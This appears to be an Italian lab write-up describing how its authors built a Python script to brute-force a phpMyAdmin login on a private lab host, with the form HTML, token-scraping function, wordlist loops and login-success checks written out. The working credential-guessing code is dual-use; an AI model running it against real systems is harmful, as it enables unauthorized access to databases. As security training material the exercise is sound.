(Phpmyadmin) è il server principale che utilizza i servizi di rete (Web Server), tramite html abbiamo visualizzato i valori richiesti. Una volta ottenuti tutti i valori indicati abbiamo creato la funzione di bruteforce.
Html:

```
<div class="item">
    <label for="input_username">Username:</label>
    <input type="text" name="pma_username" id="input_username" value="" size="24" class="textfield"/>
</div>
<div class="item">
    <label for="input_password">Password:</label>
    <input type="password" name="pma_password" id="input_password" value="" size="24" class="textfield" />
</div>
<input type="hidden" name="server" value="1" />    </fieldset>
ldset class="tblFooters"><input type="hidden" name="phpMyAdmin" value="96dd0976f443c4500a663da18dec7ccd7cd37b7a" />
<input value="Go" type="submit" id="input_go" />
ut type="hidden" name="token" value="00fc7764d4eda9311438e2d4434d56c9" />    </fieldset>
```

Funzione:

```
# Funzione per fare il brute force login in MyPhpAdmin
def brute_force_login(session, url, username, password, token):
    # Dati di login
    login_data = {
        'pma_username': username,
        'pma_password': password,
        'server': '1',
        'token': token,
    }
```

L'abbiamo utilizzata all'interno di un ciclo "for" con all'interno di esso a sua volta un altro cilclo della stessa natura con la funzione di tentare per ogni user name ogni singola password, questi due valori vengono estratti da due file di testo (username.txt e password.txt), essi contengono tutti gli username e tutte le password più diffuse.

```
# Parte del codice che si esegue solo se questo script è il principale
if __name__ == "__main__":
    # Creazione di una sessione
    session = requests.Session()

    # Chiamata alla funzione di get_token usando la stessa sessione
    myphp_url_brute = "http://192.168.50.101/phpMyAdmin/index.php"


    with open('username.txt', 'r') as user_file:
        for username in user_file:
            username = username.strip()

            with open('password.txt', 'r') as password_file:
                for password in password_file:
                    token = get_token(session, myphp_url_brute)
                    password = password.strip()
                    # Esegue il brute force login e termina il programma se il login è riuscito
                    risultato = brute_force_login(session, myphp_url_brute, username, password, token)
                    if risultato:
                        exit()

    # Chiude la sessione dopo aver completato tutte le richieste
    session.close()
```

Una volta trovati username e password dopo una minuziosa scelta abbiamo cercato gli altri due parametri necessari per il login, server e token. Abbiamo notato che il valore del server è costantemente 1; per accedere al token abbiamo utilizzato la libreria “beautifullsoup” che ha il compito di leggere l’html.

```
# Funzione per prelevare il "token"
def get_token(session, url):
    response = session.get(url)
    soup = BeautifulSoup(response.text, 'html.parser')
    valore_token = soup.find('input', {'name': 'token'})['value']
    return valore_token
```

Creando una funzione che recupera il valore del token dall’html.
Dobbiamo constatare che il programma è effettivamente riuscito ad effettuare il login questo ci richiede un’ulteriore analisi, abbiamo ipotizzato delle possibili frasi che potrebbero’ essere presenti nella pagina successiva a login effettuato. Seguendo questo ragionamento pensavamo di poter trovare la scritta "MySQL localhost" di conseguenza abbiamo trascritto un ciclo “if” che controllasse la presenza di questa scritta:

```
try:
    # Effettua una richiesta usando la stessa sessione
    response = session.post(url, data=login_data, allow_redirects=True)

    # Verifica se la risposta contiene un messaggio di successo
    if "MySQL localhost" in response.text:
        # Stampa un messaggio se il login è riuscito
        print("Login riuscito con:", username, " - ", password)
        # Restituisce True per indicare un login riuscito
        return True
    else:
        # Stampa un messaggio se il login non è riuscito
        print("Login non riuscito con:", username, " - ", password)
        # Restituisce False per indicare un login non riuscito
        return False

except RequestException as e:
    # Stampa un messaggio se c'è un errore durante il brute force login
    print(f"Errore durante la richiesta di login a {url}: {e}")
```

Dopo vari tentativi abbiamo potuto confutare che prima di arrivare al pannello di controllo del database ci reindirizzava ad una pagina intermedia che a suo volta ci indicava la pagina

corretta tramite uno script:

```
// ]]>
</script>
<script src="./js/common.js" type="text/javascript"></script>
</head>
<frameset cols="200,*" rows="*" id="mainFrameset">
        <frame frameborder="0" id="frame_navigation"
        src="navigation.php?token=31d36d405aacbef1c4385e2903d897a6"
        name="frame_navigation" />
        <frame frameborder="0" id="frame_content"
        src="main.php?token=31d36d405aacbef1c4385e2903d897a6"
        name="frame_content" />
        <noframes>
        <body>
            <p>phpMyAdmin is more friendly with a <b>frames-capable</b> brov
        </body>
```

Inserendo username e password corretti riceviamo una risposta di login non riuscito ed il programma crasha. Il tutto avviene perché una volta utilizzate le corrette credenziali il sito ci reinderizza ad una pagina intermedia di conseguenza il nostro programma non riesce più a tentare il login e smette di funzionare. Ciò implica che le ultime credenziali prima del blocco del programma sono quelle corrette.
Una volta effettuato l'accesso ed avendo analizzato l'html della pagina intermedia possiamo costatare il risultato del login.

```python
try:
    # Effettua una richiesta usando la stessa sessione
    response = session.post(url, data=login_data, allow_redirects=True)

    # Verifica se la risposta contiene un messaggio di successo
    if f"navigation.php?token={token}" in response.text:
        # Stampa un messaggio se il login è riuscito
        print("Login riuscito con:", username, " - ", password)
        # Restituisce True per indicare un login riuscito
        return True
    else:
        # Stampa un messaggio se il login non è riuscito
        print("Login non riuscito con:", username, " - ", password)
        # Restituisce False per indicare un login non riuscito
        return False

except RequestException as e:
    # Stampa un messaggio se c'è un errore durante il brute force login
    print(f"Errore durante la richiesta di login a {url}: {e}")
```